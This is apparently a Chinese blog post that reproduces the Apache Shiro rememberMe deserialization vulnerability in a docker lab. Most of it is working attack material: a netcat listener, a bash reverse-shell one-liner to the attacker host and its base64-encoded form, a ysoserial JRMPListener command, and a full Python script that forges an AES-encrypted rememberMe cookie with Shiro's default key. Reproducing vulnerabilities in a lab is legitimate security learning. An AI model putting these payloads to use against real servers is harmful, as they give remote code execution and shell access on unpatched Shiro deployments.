原理

Apache Shiro框架的记住密码功能,用户登录后生成加密编码的cookie。服务端对记住密码产生的cookie进行base64解密,再进行AES解密,之后进行反序列化,导致了反序列化漏洞。
服务端过程:cookie-->base64解密-->AES解密-->反序列化

影响版本

Apache Shiro < 1.2.4

特征判断

返回包中含有rememberMe=deleteMe的字段。

漏洞复现

攻击机:192.168.112.1
靶机:192.168.112.137:5001
1.靶机环境搭建

用docker拉取靶机镜像

docker pull medicean/vulapps:s_shiro_1

创建启动靶机容器

docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1
注:5001为外部映射端口,可自定义

2.漏洞检测利用
检测:
低版本的shiro会使用默认的密钥
先爆破密钥
Github:https://github.com/insightglacier/Shiro_exploit

python shiro_exploit.py -u http://192.168.112.137:5001/

914.jpg
爆破出密钥
利用:
反弹shell
在攻击机监听端口

nc -lvnp 6366

Java Runtime 配合 bash 编码
http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.112.1/6366 0>&1
bash编码后
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xLzYzNjYgMD4mMQ==}|{base64,-d}|{bash,-i}

通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令,可查看反弹shell连接状况
ysoserial.jar:ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。
攻击机监听6666端口

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xLzYzNjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

183419.jpg
用python生成payload

# -*- coding: utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  # 替换刚才爆破的密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    ip_port = '192.168.112.1:6666'      # IP是攻击者IP,端口为ysoserial中JRMP监听模块的端口
    payload = encode_rememberme(ip_port)
    print("rememberMe={0}".format(payload.decode()))

1759.jpg
生成payload
随便输入账号密码,然后选择RememberMe,使用burp抓包,把刚才生成的payload添加到cookie中。
3247.jpg
发送请求,监听成功
84010.jpg
107.jpg

最后修改:2021 年 10 月 27 日 06 : 43 PM
如果觉得我的文章对你有用,请随意赞赏